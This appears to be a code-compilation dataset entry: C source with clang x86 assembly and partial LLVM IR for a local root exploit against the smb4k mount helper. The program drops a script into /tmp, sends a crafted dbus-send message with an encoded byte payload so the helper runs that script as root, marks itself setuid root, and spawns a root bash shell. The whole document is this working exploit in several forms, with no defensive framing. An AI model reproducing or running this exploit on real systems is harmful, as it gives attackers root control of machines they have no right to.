#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
struct stat {
  int st_mode;
};
typedef int /*<<< orphan*/ st;
typedef int /*<<< orphan*/ me;

/* Variables and functions */
int O_CREAT;
int O_RDWR;
int /*<<< orphan*/ chmod(char *, int);
int /*<<< orphan*/ chown(char *, int /*<<< orphan*/, int /*<<< orphan*/);
int /*<<< orphan*/ close(int);
int /*<<< orphan*/ die(char *);
int /*<<< orphan*/ execve(char *const, char *const *, int /*<<< orphan*/ *);
int /*<<< orphan*/ exit(int);
scalar_t__ fork();
scalar_t__ geteuid();
int /*<<< orphan*/ memset(struct stat *, int /*<<< orphan*/, int);
int open(char *, int, int);
int /*<<< orphan*/ printf(char *);
scalar_t__ readlink(char *, char *, int);
int /*<<< orphan*/ setgid(int /*<<< orphan*/);
int /*<<< orphan*/ setuid(int /*<<< orphan*/);
int /*<<< orphan*/ sleep(int);
int /*<<< orphan*/ stat(char *, struct stat *);
int strlen(char *);
int /*<<< orphan*/ unlink(char *);
int /*<<< orphan*/ wait(int /*<<< orphan*/ *);
int /*<<< orphan*/ write(int, char *, int);
int main(int argc, char **argv) {
  char me[1024] = {0};
  char *dbus[] = {
      "/usr/bin/dbus-send",
      "--system",
      "--print-reply",
      "--dest=net.sourceforge.smb4k.mounthelper",
      "/",
      "org.kde.auth.performActions",
      "array:byte:"
      "0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x4e,0x00,0x6e,0x00,0x65,0x00,0x74,"
      "0x00,0x2e,0x00,0x73,0x00,0x6f,0x00,0x75,0x00,0x72,0x00,0x63,0x00,0x65,"
      "0x00,0x66,0x00,0x6f,0x00,0x72,0x00,0x67,0x00,0x65,0x00,0x2e,0x00,0x73,"
      "0x00,0x6d,0x00,0x62,0x00,0x34,0x00,0x6b,0x00,0x2e,0x00,0x6d,0x00,0x6f,"
      "0x00,0x75,0x00,0x6e,0x00,0x74,0x00,0x68,0x00,0x65,0x00,0x6c,0x00,0x70,"
      "0x00,0x65,0x00,0x72,0x00,0x2e,0x00,0x6d,0x00,0x6f,0x00,0x75,0x00,0x6e,"
      "0x00,0x74,0x00,0x00,0x00,0x08,0x00,0x00,0x00,0x18,0x00,0x6d,0x00,0x68,"
      "0x00,0x5f,0x00,0x77,0x00,0x6f,0x00,0x72,0x00,0x6b,0x00,0x67,0x00,0x72,"
      "0x00,0x6f,0x00,0x75,0x00,0x70,0x00,0x00,0x00,0x0a,0x00,0x00,0x00,0x00,"
      "0x00,0x00,0x00,0x00,0x0c,0x00,0x6d,0x00,0x68,0x00,0x5f,0x00,0x75,0x00,"
      "0x72,0x00,0x6c,0x00,0x00,0x00,0x11,0x00,0x00,0x00,0x00,0x24,0x73,0x6d,"
      "0x62,0x3a,0x2f,0x2f,0x61,0x62,0x63,0x3a,0x31,0x32,0x33,0x34,0x35,0x36,"
      "0x40,0x31,0x32,0x37,0x2e,0x30,0x2e,0x30,0x2e,0x31,0x3a,0x34,0x34,0x35,"
      "0x2f,0x73,0x68,0x61,0x72,0x65,0x00,0x00,0x00,0x0c,0x00,0x6d,0x00,0x68,"
      "0x00,0x5f,0x00,0x75,0x00,0x6e,0x00,0x63,0x00,0x00,0x00,0x0a,0x00,0x00,"
      "0x00,0x00,0x22,0x00,0x2f,0x00,0x2f,0x00,0x31,0x00,0x32,0x00,0x37,0x00,"
      "0x2e,0x00,0x30,0x00,0x2e,0x00,0x30,0x00,0x2e,0x00,0x31,0x00,0x2f,0x00,"
      "0x73,0x00,0x68,0x00,0x61,0x00,0x72,0x00,0x65,0x00,0x00,0x00,0x14,0x00,"
      "0x6d,0x00,0x68,0x00,0x5f,0x00,0x6f,0x00,0x70,0x00,0x74,0x00,0x69,0x00,"
      "0x6f,0x00,0x6e,0x00,0x73,0x00,0x00,0x00,0x0b,0x00,0x00,0x00,0x00,0x02,"
      "0x00,0x00,0x00,0x04,0x00,0x2d,0x00,0x6f,0x00,0x00,0x01,0x1c,0x00,0x75,"
      "0x00,0x73,0x00,0x65,0x00,0x72,0x00,0x6e,0x00,0x61,0x00,0x6d,0x00,0x65,"
      "0x00,0x3d,0x00,0x6a,0x00,0x6f,0x00,0x65,0x00,0x2c,0x00,0x75,0x00,0x69,"
      "0x00,0x64,0x00,0x3d,0x00,0x33,0x00,0x33,0x00,0x33,0x00,0x33,0x00,0x2c,"
      "0x00,0x67,0x00,0x69,0x00,0x64,0x00,0x3d,0x00,0x31,0x00,0x30,0x00,0x30,"
      "0x00,0x2c,0x00,0x70,0x00,0x6f,0x00,0x72,0x00,0x74,0x00,0x3d,0x00,0x34,"
      "0x00,0x34,0x00,0x35,0x00,0x2c,0x00,0x72,0x00,0x77,0x00,0x2c,0x00,0x66,"
      "0x00,0x69,0x00,0x6c,0x00,0x65,0x00,0x5f,0x00,0x6d,0x00,0x6f,0x00,0x64,"
      "0x00,0x65,0x00,0x3d,0x00,0x30,0x00,0x37,0x00,0x35,0x00,0x35,0x00,0x2c,"
      "0x00,0x64,0x00,0x69,0x00,0x72,0x00,0x5f,0x00,0x6d,0x00,0x6f,0x00,0x64,"
      "0x00,0x65,0x00,0x3d,0x00,0x30,0x00,0x37,0x00,0x35,0x00,0x35,0x00,0x2c,"
      "0x00,0x70,0x00,0x65,0x00,0x72,0x00,0x6d,0x00,0x2c,0x00,0x6e,0x00,0x6f,"
      "0x00,0x73,0x00,0x65,0x00,0x74,0x00,0x75,0x00,0x69,0x00,0x64,0x00,0x73,"
      "0x00,0x2c,0x00,0x6e,0x00,0x6f,0x00,0x73,0x00,0x65,0x00,0x72,0x00,0x76,"
      "0x00,0x65,0x00,0x72,0x00,0x69,0x00,0x6e,0x00,0x6f,0x00,0x2c,0x00,0x63,"
      "0x00,0x61,0x00,0x63,0x00,0x68,0x00,0x65,0x00,0x3d,0x00,0x73,0x00,0x74,"
      "0x00,0x72,0x00,0x69,0x00,0x63,0x00,0x74,0x00,0x2c,0x00,0x6e,0x00,0x6f,"
      "0x00,0x6d,0x00,0x61,0x00,0x70,0x00,0x63,0x00,0x68,0x00,0x61,0x00,0x72,"
      "0x00,0x73,0x00,0x2c,0x00,0x73,0x00,0x65,0x00,0x63,0x00,0x3d,0x00,0x6e,"
      "0x00,0x74,0x00,0x6c,0x00,0x6d,0x00,0x73,0x00,0x73,0x00,0x70,0x00,0x2c,"
      "0x00,0x76,0x00,0x65,0x00,0x72,0x00,0x73,0x00,0x3d,0x00,0x31,0x00,0x2e,"
      "0x00,0x30,0x00,0x00,0x00,0x1a,0x00,0x6d,0x00,0x68,0x00,0x5f,0x00,0x6d,"
      "0x00,0x6f,0x00,0x75,0x00,0x6e,0x00,0x74,0x00,0x70,0x00,0x6f,0x00,0x69,"
      "0x00,0x6e,0x00,0x74,0x00,0x00,0x00,0x0a,0x00,0x00,0x00,0x00,0x3e,0x00,"
      "0x2f,0x00,0x68,0x00,0x6f,0x00,0x6d,0x00,0x65,0x00,0x2f,0x00,0x6a,0x00,"
      "0x6f,0x00,0x65,0x00,0x2f,0x00,0x73,0x00,0x6d,0x00,0x62,0x00,0x34,0x00,"
      "0x6b,0x00,0x2f,0x00,0x31,0x00,0x32,0x00,0x37,0x00,0x2e,0x00,0x30,0x00,"
      "0x2e,0x00,0x30,0x00,0x2e,0x00,0x31,0x00,0x2f,0x00,0x73,0x00,0x68,0x00,"
      "0x61,0x00,0x72,0x00,0x65,0x00,0x00,0x00,0x0a,0x00,0x6d,0x00,0x68,0x00,"
      "0x5f,0x00,0x69,0x00,0x70,0x00,0x00,0x00,0x0a,0x00,0xff,0xff,0xff,0xff,"
      "0x00,0x00,0x00,0x14,0x00,0x6d,0x00,0x68,0x00,0x5f,0x00,0x63,0x00,0x6f,"
      "0x00,0x6d,0x00,0x6d,0x00,0x65,0x00,0x6e,0x00,0x74,0x00,0x00,0x00,0x0a,"
      "0x00,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x14,0x00,0x6d,0x00,0x68,0x00,"
      "0x5f,0x00,0x63,0x00,0x6f,0x00,0x6d,0x00,0x6d,0x00,0x61,0x00,0x6e,0x00,"
      "0x64,0x00,0x00,0x00,0x0a,0x00,0x00,0x00,0x00,0x20,0x00,0x2f,0x00,0x74,"
      "0x00,0x6d,0x00,0x70,0x00,0x2f,0x00,0x78,0x00,0x6d,0x00,0x6f,0x00,0x75,"
      "0x00,0x6e,0x00,0x74,0x00,0x2e,0x00,0x63,0x00,0x69,0x00,0x66,0x00,0x73",
      "array:byte:58,49,46,48",
      NULL};
  char *boomsh = "/tmp/xmount.cifs";
  char *const sh[] = {me, "shell", NULL};
  char *const bash[] = {"/bin/bash", "--norc", "--noprofile", NULL};
  struct stat st;
  int fd = -1;
  if (readlink("/proc/self/exe", me, sizeof(me) - 1) < 0)
    die("[-] readlink");
  if (geteuid() == 0) {
    setuid(0);
    setgid(0);
    if (argc == 2) {
      execve(*bash, bash, NULL);
      die("[-] execve of bash");
    }
    chown(me, 0, 0);
    chmod(me, 04755);
    exit(0);
  }
  printf("[*] Creating shellscript ...\n");
  unlink(boomsh);
  if ((fd = open(boomsh, O_RDWR | O_CREAT, 0755)) < 0)
    die("[-] open");
  write(fd, "#!/bin/sh\n", 10);
  write(fd, me, strlen(me));
  write(fd, "\n", 1);
  close(fd);
  printf("[*] Triggering call...\n");
  if (fork() == 0) {
    execve(*dbus, dbus, NULL);
    exit(1);
  }
  wait(NULL);
  sleep(5);
  printf("[*] Trying to find rootshell...\n");
  memset(&st, 0, sizeof(st));
  stat(me, &st);
  if ((st.st_mode & 04000) != 04000)
    die("[-] Failed to chmod ourselfs.\n");
  execve(me, sh, NULL);
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x4c0,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
lea    -0x410(%rbp),%rdi
xor    %esi,%esi
mov    $0x400,%edx
call   1080 <memset@plt>
lea    -0x460(%rbp),%rdi
lea    0x3b16(%rip),%rsi
mov    $0x48,%edx
call   10d0 <memcpy@plt>
lea    0x1d8e(%rip),%rax
mov    %rax,-0x468(%rbp)
lea    -0x410(%rbp),%rax
mov    %rax,-0x480(%rbp)
lea    0x1d83(%rip),%rax
mov    %rax,-0x478(%rbp)
movq   $0x0,-0x470(%rbp)
mov    0x3b20(%rip),%rax
mov    %rax,-0x4a0(%rbp)
mov    0x3b1a(%rip),%rax
mov    %rax,-0x498(%rbp)
mov    0x3b14(%rip),%rax
mov    %rax,-0x490(%rbp)
mov    0x3b0e(%rip),%rax
mov    %rax,-0x488(%rbp)
movl   $0xffffffff,-0x4ac(%rbp)
ff ff ff
lea    -0x410(%rbp),%rsi
lea    0x1d44(%rip),%rdi
mov    $0x3ff,%edx
call   1040 <readlink@plt>
cmp    $0x0,%rax
jge    1339 <main+0xe9>
lea    0x1d38(%rip),%rdi
call   1120 <die@plt>
mov    $0x0,%al
call   1090 <geteuid@plt>
cmp    $0x0,%rax
jne    13ad <main+0x15d>
xor    %edi,%edi
call   1140 <setuid@plt>
xor    %edi,%edi
call   1100 <setgid@plt>
cmpl   $0x2,-0x8(%rbp)
jne    1385 <main+0x135>
mov    -0x4a0(%rbp),%rdi
lea    -0x4a0(%rbp),%rsi
xor    %eax,%eax
mov    %eax,%edx
call   10b0 <execve@plt>
lea    0x1cf9(%rip),%rdi
call   1120 <die@plt>
lea    -0x410(%rbp),%rdi
xor    %edx,%edx
mov    %edx,%esi
call   10e0 <chown@plt>
lea    -0x410(%rbp),%rdi
mov    $0x9ed,%esi
call   10f0 <chmod@plt>
xor    %edi,%edi
call   1130 <exit@plt>
lea    0x1cd8(%rip),%rdi
call   1070 <printf@plt>
mov    -0x468(%rbp),%rdi
call   1030 <unlink@plt>
mov    -0x468(%rbp),%rdi
mov    0x3c0d(%rip),%rax
mov    (%rax),%esi
mov    0x3c1c(%rip),%rax
or     (%rax),%esi
mov    $0x1ed,%edx
call   1110 <open@plt>
mov    %eax,-0x4ac(%rbp)
cmp    $0x0,%eax
jge    1403 <main+0x1b3>
lea    0x1cac(%rip),%rdi
call   1120 <die@plt>
mov    -0x4ac(%rbp),%edi
lea    0x1ca3(%rip),%rsi
mov    $0xa,%edx
call   1050 <write@plt>
mov    -0x4ac(%rbp),%eax
mov    %eax,-0x4bc(%rbp)
lea    -0x410(%rbp),%rax
mov    %rax,-0x4b8(%rbp)
lea    -0x410(%rbp),%rdi
call   1060 <strlen@plt>
mov    -0x4bc(%rbp),%edi
mov    -0x4b8(%rbp),%rsi
mov    %eax,%edx
call   1050 <write@plt>
mov    -0x4ac(%rbp),%edi
lea    0x1c47(%rip),%rsi
mov    $0x1,%edx
call   1050 <write@plt>
mov    -0x4ac(%rbp),%edi
call   10a0 <close@plt>
lea    0x1c41(%rip),%rdi
call   1070 <printf@plt>
mov    $0x0,%al
call   1170 <fork@plt>
cmp    $0x0,%rax
jne    14b4 <main+0x264>
mov    -0x460(%rbp),%rdi
lea    -0x460(%rbp),%rsi
xor    %eax,%eax
mov    %eax,%edx
call   10b0 <execve@plt>
mov    $0x1,%edi
call   1130 <exit@plt>
xor    %eax,%eax
mov    %eax,%edi
call   1160 <wait@plt>
mov    $0x5,%edi
call   1150 <sleep@plt>
lea    0x1c08(%rip),%rdi
call   1070 <printf@plt>
lea    -0x4a8(%rbp),%rdi
xor    %esi,%esi
mov    $0x4,%edx
call   1080 <memset@plt>
lea    -0x410(%rbp),%rdi
lea    -0x4a8(%rbp),%rsi
call   10c0 <stat@plt>
mov    -0x4a8(%rbp),%eax
and    $0x800,%eax
cmp    $0x800,%eax
je     151b <main+0x2cb>
lea    0x1be1(%rip),%rdi
call   1120 <die@plt>
lea    -0x410(%rbp),%rdi
lea    -0x480(%rbp),%rsi
xor    %eax,%eax
mov    %eax,%edx
call   10b0 <execve@plt>
xor    %eax,%eax
add    $0x4c0,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbp
push   %rbx
sub    $0x4a8,%rsp
mov    %edi,%ebp
lea    0xa0(%rsp),%rbx
mov    $0x400,%edx
mov    %rbx,%rdi
xor    %esi,%esi
call   1080 <memset@plt>
mov    0x3b77(%rip),%rax
mov    %rax,0x90(%rsp)
movaps 0x3b58(%rip),%xmm0
movaps %xmm0,0x80(%rsp)
movaps 0x3b39(%rip),%xmm0
movaps %xmm0,0x70(%rsp)
movaps 0x3b1d(%rip),%xmm0
movaps %xmm0,0x60(%rsp)
movaps 0x3b01(%rip),%xmm0
movaps %xmm0,0x50(%rsp)
mov    %rbx,0x10(%rsp)
lea    0x1d8a(%rip),%rax
mov    %rax,0x18(%rsp)
movq   $0x0,0x20(%rsp)
movaps 0x3b3b(%rip),%xmm0
movaps %xmm0,0x40(%rsp)
movaps 0x3b1f(%rip),%xmm0
movaps %xmm0,0x30(%rsp)
lea    0x1d80(%rip),%rdi
mov    %rbx,%rsi
mov    $0x3ff,%edx
call   1050 <readlink@plt>
test   %rax,%rax
jns    12fb <main+0xbb>
lea    0x1d76(%rip),%rdi
call   1110 <die@plt>
xor    %eax,%eax
call   1090 <geteuid@plt>
test   %rax,%rax
je     1430 <main+0x1f0>
lea    0x1dad(%rip),%rdi
call   1040 <puts@plt>
lea    0x1d0b(%rip),%rbx
mov    %rbx,%rdi
call   1030 <unlink@plt>
mov    0x3cb3(%rip),%rax
mov    0x3cc4(%rip),%rcx
mov    (%rcx),%esi
or     (%rax),%esi
mov    %rbx,%rdi
mov    $0x1ed,%edx
call   1100 <open@plt>
mov    %eax,%ebx
test   %eax,%eax
jns    1357 <main+0x117>
lea    0x1d3a(%rip),%rdi
call   1110 <die@plt>
lea    0x1d37(%rip),%rsi
mov    %ebx,%edi
mov    $0xa,%edx
call   1060 <write@plt>
lea    0xa0(%rsp),%rbp
mov    %rbp,%rdi
call   1070 <strlen@plt>
mov    %ebx,%edi
mov    %rbp,%rsi
mov    %eax,%edx
call   1060 <write@plt>
lea    0x1d30(%rip),%rsi
mov    %ebx,%edi
mov    $0x1,%edx
call   1060 <write@plt>
mov    %ebx,%edi
call   10a0 <close@plt>
lea    0x1d35(%rip),%rdi
call   1040 <puts@plt>
xor    %eax,%eax
call   1160 <fork@plt>
test   %rax,%rax
je     148a <main+0x24a>
xor    %edi,%edi
call   1150 <wait@plt>
mov    $0x5,%edi
call   1140 <sleep@plt>
lea    0x1d1f(%rip),%rdi
call   1040 <puts@plt>
lea    0x8(%rsp),%rbx
mov    %rbx,%rdi
xor    %esi,%esi
mov    $0x4,%edx
call   1080 <memset@plt>
lea    0xa0(%rsp),%rdi
mov    %rbx,%rsi
call   10c0 <stat@plt>
testb  $0x8,0x9(%rsp)
jne    1410 <main+0x1d0>
lea    0x1c95(%rip),%rdi
call   1110 <die@plt>
lea    0xa0(%rsp),%rdi
lea    0x10(%rsp),%rsi
xor    %edx,%edx
call   10b0 <execve@plt>
xor    %eax,%eax
add    $0x4a8,%rsp
pop    %rbx
pop    %rbp
ret
xor    %edi,%edi
call   1130 <setuid@plt>
xor    %edi,%edi
call   10f0 <setgid@plt>
cmp    $0x2,%ebp
jne    1462 <main+0x222>
lea    0x1bf6(%rip),%rdi
lea    0x30(%rsp),%rsi
xor    %edx,%edx
call   10b0 <execve@plt>
lea    0x1c1c(%rip),%rdi
call   1110 <die@plt>
lea    0xa0(%rsp),%rbx
mov    %rbx,%rdi
xor    %esi,%esi
xor    %edx,%edx
call   10d0 <chown@plt>
mov    %rbx,%rdi
mov    $0x9ed,%esi
call   10e0 <chmod@plt>
xor    %edi,%edi
call   1120 <exit@plt>
lea    0xb6f(%rip),%rdi
lea    0x50(%rsp),%rsi
xor    %edx,%edx
call   10b0 <execve@plt>
mov    $0x1,%edi
call   1120 <exit@plt>

LLVM IR (-O0):
%struct.stat = type { i32 }
@.str = [19 x i8] c"/usr/bin/dbus-send\00"
@.str.1 = [9 x i8] c"--system\00"
@.str.2 = [14 x i8] c"--print-reply\00"
@.str.3 = [41 x i8] c"--dest=net.sourceforge.smb4k.mounthelper\00"
@.str.4 = [2 x i8] c"/\00"
@.str.5 = [28 x i8] c"org.kde.auth.performActions\00"
@.str.6 = [4001 x i8] c"array:byte:0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x4e,0x00,0x6e,0x00,0x65,0x00,0x74,0x00,0x2e,0x00,0x73,0x00,0x6f,0x00,0x75,0x00,0x72,0x00,0x63,0x00,0x65,0x00,0x66,0x00,0x6f,0x00,0x72,0x00,0x67,0x00,0x65,0x00,0x2e,0x00,0x73,0x00,0x6d,0x00,0x62,0x00,0x34,0x00,0x6b,0x00,0x2e,0x00,0x6d,0x00,0x6f,0x00,0x75,0x00,0x6e,0x00,0x74,0x00,0x68,0x00,0x65,0x00,0x6c,0x00,0x70,0x00,0x65,0x00,0x72,0x00,0x2e,0x00,0x6d,0x00,0x6f,0x00,0x75,0x00,0x6e,0x00,0x74,0x00,0x00,0x00,0x08,0x00,0x00,0x00,0x18,0x00,0x6d,0x00,0x68,0x00,0x5f,0x00,0x77,0x00,0x6f,0x00,0x72,0x00,0x6b,0x00,0x67,0x00,0x72,0x00,0x6f,0x00,0x75,0x00,0x70,0x00,0x00,0x00,0x0a,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0c,0x00,0x6d,0x00,0x68,0x00,0x5f,0x00,0x75,0x00,0x72,0x00,0x6c,0x00,0x00,0x00,0x11,0x00,0x00,0x00,0x00,0x24,0x73,0x6d,0x62,0x3a,0x2f,0x2f,0x61,0x62,0x63,0x3a,0x31,0x32,0x33,0x34,0x35,0x36,0x40,0x31,0x32,0x37,0x2e,0x30,0x2e,0x30,0x2e,0x31,0x3a,0x34,0x34,0x35,0x2f,0x73,0x68,0x61,0x72,0x65,0x00,0x00,0x00,0x0c,0x00,0x6d,0x00,0x68,0x00,0x5f,0x00,0x75,0x00,0x6e,0x00,0x63,0x00,0x00,0x00,0x0a,0x00,0x00,0x00,0x00,0x22,0x00,0x2f,0x00,0x2f,0x00,0x31,0x00,0x32,0x00,0x37,0x00,0x2e,0x00,0x30,0x00,0x2e,0x00,0x30,0x00,0x2e,0x00,0x31,0x00,0x2f,0x00,0x73,0x00,0x68,0x00,0x61,0x00,0x72,0x00,0x65,0x00,0x00,0x00,0x14,0x00,0x6d,0x00,0x68,0x00,0x5f,0x00,0x6f,0x00,0x70,0x00,0x74,0x00,0x69,0x00,0x6f,0x00,0x6e,0x00,0x73,0x00,0x00,0x00,0x0b,0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x04,0x00,0x2d,0x00,0x6f,0x00,0x00,0x01,0x1c,0x00,0x75,0x00,0x73,0x00,0x65,0x00,0x72,0x00,0x6e,0x00,0x61,0x00,0x6d,0x00,0x65,0x00,0x3d,0x00,0x6a,0x00,0x6f,0x00,0x65,0x00,0x2c,0x00,0x75,0x00,0x69,0x00,0x64,0x00,0x3d,0x00,0x33,0x00,0x33,0x00,0x33,0x00,0x33,0x00,0x2c,0x00,0x67,0x00,0x69,0x00,0x64,0x00,0x3d,0x00,0x31,0x00,0x30,0x00,0x30,0x00,0x2c,0x00,0x70,0x00,0x6f,0x00,0x72,0x00,0x74,0x00,0x3d,0x00,0x34,0x00,0x34,0x00,0x35,0x00,0x2c,0x00,0x72,0x00,0x77,0x00,0x2c,0x00,0x66,0x00,0x69,0x00,0x6c,0x00,0x65,0x00,0x5f,0x00,0x6d,0x00,0x6f,0x00,0x64,0x00,0x65,0x00,0x3d,0x00,0x30,0x00,0x37,0x00,0x35,0x00,0x35,0x00,0x2c,0x00,0x64,0x00,0x69,0x00,0x72,0x00,0x5f,0x00,0x6d,0x00,0x6f,0x00,0x64,0x00,0x65,0x00,0x3d,0x00,0x30,0x00,0x37,0x00,0x35,0x00,0x35,0x00,0x2c,0x00,0x70,0x00,0x65,0x00,0x72,0x00,0x6d,0x00,0x2c,0x00,0x6e,0x00,0x6f,0x00,0x73,0x00,0x65,0x00,0x74,0x00,0x75,0x00,0x69,0x00,0x64,0x00,0x73,0x00,0x2c,0x00,0x6e,0x00,0x6f,0x00,0x73,0x00,0x65,0x00,0x72,0x00,0x76,0x00,0x65,0x00,0x72,0x00,0x69,0x00,0x6e,0x00,0x6f,0x00,0x2c,0x00,0x63,0x00,0x61,0x00,0x63,0x00,0x68,0x00,0x65,0x00,0x3d,0x00,0x73,0x00,0x74,0x00,0x72,0x00,0x69,0x00,0x63,0x00,0x74,0x00,0x2c,0x00,0x6e,0x00,0x6f,0x00,0x6d,0x00,0x61,0x00,0x70,0x00,0x63,0x00,0x68,0x00,0x61,0x00,0x72,0x00,0x73,0x00,0x2c,0x00,0x73,0x00,0x65,0x00,0x63,0x00,0x3d,0x00,0x6e,0x00,0x74,0x00,0x6c,0x00,0x6d,0x00,0x73,0x00,0x73,0x00,0x70,0x00,0x2c,0x00,0x76,0x00,0x65,0x00,0x72,0x00,0x73,0x00,0x3d,0x00,0x31,0x00,0x2e,0x00,0x30,0x00,0x00,0x00,0x1a,0x00,0x6d,0x00,0x68,0x00,0x5f,0x00,0x6d,0x00,0x6f,0x00,0x75,0x00,0x6e,0x00,0x74,0x00,0x70,0x00,0x6f,0x00,0x69,0x00,0x6e,0x00,0x74,0x00,0x00,0x00,0x0a,0x00,0x00,0x00,0x00,0x3e,0x00,0x2f,0x00,0x68,0x00,0x6f,0x00,0x6d,0x00,0x65,0x00,0x2f,0x00,0x6a,0x00,0x6f,0x00,0x65,0x00,0x2f,0x00,0x73,0x00,0x6d,0x00,0x62,0x00,0x34,0x00,0x6b,0x00,0x2f,0x00,0x31,0x00,0x32,0x00,0x37,0x00,0x2e,0x00,0x30,0x00,0x2e,0x00,0x30,0x00,0x2e,0x00,0x31,0x00,0x2f,0x00,0x73,0x00,0x68,0x00,0x61,0x00,0x72,0x00,0x65,0x00,0x00,0x00,0x0a,0x00,0x6d,0x00,0x68,0x00,0x5f,0x00,0x69,0x00,0x70,0x00,0x00,0x00,0x0a,0x00,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x14,0x00,0x6d,0x00,0x68,0x00,0x5f,0x00,0x63,0x00,0x6f,0x00,0x6d,0x00,0x6d,0x00,0x65,0x00,0x6e,0x00,0x74,0x00,0x00,0x00,0x0a,0x00,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x14,0x00,0x6d,0x00,0x68,0x00,0x5f,0x00,0x63,0x00,0x6f,0x00,0x6d,0x00,0x6d,0x00,0x61,0x00,0x6e,0x00,0x64,0x00,0x00,0x00,0x0a,0x00,0x00,0x00,0x00,0x20,0x00,0x2f,0x00,0x74,0x00,0x6d,0x00,0x70,0x00,0x2f,0x00,0x78,0x00,0x6d,0x00,0x6f,0x00,0x75,0x00,0x6e,0x00,0x74,0x00,0x2e,0x00,0x63,0x00,0x69,0x00,0x66,0x00,0x73\00"
@.str.7 = [23 x i8] c"array:byte:58,49,46,48\00"
@__const.main.dbus = [9 x i8*] [i8* getelementptr inbounds ([19 x i8], [19 x i8]* @.str, i32 0, i32 0), i8* getelementptr inbounds ([9 x i8], [9 x i8]* @.str.1, i32 0, i32 0), i8* getelementptr inbounds ([14 x i8], [14 x i8]* @.str.2, i32 0, i32 0), i8* getelementptr inbounds ([41 x i8], [41 x i8]* @.str.3, i32 0, i32 0), i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.4, i32 0, i32 0), i8* getelementptr inbounds ([28 x i8], [28 x i8]* @.str.5, i32 0, i32 0), i8* getelementptr inbounds ([4001 x i8], [4001 x i8]* @.str.6, i32 0, i32 0), i8* getelementptr inbounds ([23 x i8], [23 x i8]* @.str.7, i32 0, i32 0), i8* null]
@.str.8 = [17 x i8] c"/tmp/xmount.cifs\00"
@.str.9 = [6 x i8] c"shell\00"
@.str.10 = [10 x i8] c"/bin/bash\00"
@.str.11 = [7 x i8] c"--norc\00"
@.str.12 = [12 x i8] c"--noprofile\00"
@__const.main.bash = [4 x i8*] [i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.10, i32 0, i32 0), i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.11, i32 0, i32 0), i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str.12, i32 0, i32 0), i8* null]
@.str.13 = [15 x i8] c"/proc/self/exe\00"
@.str.14 = [13 x i8] c"[-] readlink\00"
@.str.15 = [19 x i8] c"[-] execve of bash\00"
@.str.16 = [30 x i8] c"[*] Creating shellscript ...\0A\00"
@O_RDWR = global i32 0
@O_CREAT = global i32 0
@.str.17 = [9 x i8] c"[-] open\00"
@.str.18 = [11 x i8] c"#!/bin/sh\0A\00"
@.str.19 = [2 x i8] c"\0A\00"
@.str.20 = [24 x i8] c"[*] Triggering call...\0A\00"
@.str.21 = [33 x i8] c"[*] Trying to find rootshell...\0A\00"
@.str.22 = [31 x i8] c"[-] Failed to chmod ourselfs.\0A\00"
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
%6 = alloca [1024 x i8]
%7 = alloca [9 x i8*]
%8 = alloca i8*
%9 = alloca [3 x i8*]
%10 = alloca [4 x i8*]
%11 = alloca %struct.stat
%12 = alloca i32
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
%13 = bitcast [1024 x i8]* %6 to i8*
%14 = bitcast [9 x i8*]* %7 to i8*
store i8* getelementptr inbounds ([17 x i8], [17 x i8]* @.str.8, i64 0, i64 0), i8** %8
%15 = getelementptr inbounds [3 x i8*], [3 x i8*]* %9, i64 0, i64 0
%16 = getelementptr inbounds [1024 x i8], [1024 x i8]* %6, i64 0, i64 0
store i8* %16, i8** %15
%17 = getelementptr inbounds i8*, i8** %15, i64 1
store i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.9, i64 0, i64 0), i8** %17
%18 = getelementptr inbounds i8*, i8** %17, i64 1
store i8* null, i8** %18
%19 = bitcast [4 x i8*]* %10 to i8*
store i32 -1, i32* %12
%20 = getelementptr inbounds [1024 x i8], [1024 x i8]* %6, i64 0, i64 0
%21 = call i64 @readlink(i8* getelementptr inbounds ([15 x i8], [15 x i8]* @.str.13, i64 0, i64 0), i8* %20, i32 1023)
%22 = icmp slt i64 %21, 0
br i1 %22, label %23, label %25
23: ; preds = %2
%24 = call i32 @die(i8* getelementptr inbounds ([13 x i8], [13 x i8]* @.str.14, i64 0, i64 0))
br label %25
25: ; preds = %23, %2
%26 = call i64 (...) @geteuid()
%27 = icmp eq i64 %26, 0
br i1 %27, label %28, label %45
28: ; preds = %25
%29 = call i32 @setuid(i32 0)
%30 = call i32 @setgid(i32 0)
%31 = load i32, i32* %4
%32 = icmp eq i32 %31, 2
br i1 %32, label %33, label %39
33: ; preds = %28
%34 = getelementptr inbounds [4 x i8*], [4 x i8*]* %10, i64 0, i64 0
%35 = load i8*, i8** %34
%36 = getelementptr inbounds [4 x i8*], [4 x i8*]* %10, i64 0, i64 0
%37 = call i32 @execve(i8* %35, i8** %36, i32* null)
%38 = call i32 @die(i8* getelementptr inbounds ([19 x i8], [19 x i8]* @.str.15, i64 0, i64 0))
br label %39
39: ; preds = %33, %28
%40 = getelementptr inbounds [1024 x i8], [1024 x i8]* %6, i64 0, i64 0
%41 = call i32 @chown(i8* %40, i32 0, i32 0)
%42 = getelementptr inbounds [1024 x i8], [1024 x i8]* %6, i64 0, i64 0
%43 = call i32 @chmod(i8* %42, i32 2541)
%44 = call i32 @exit(i32 0)
unreachable
45: ; preds = %25
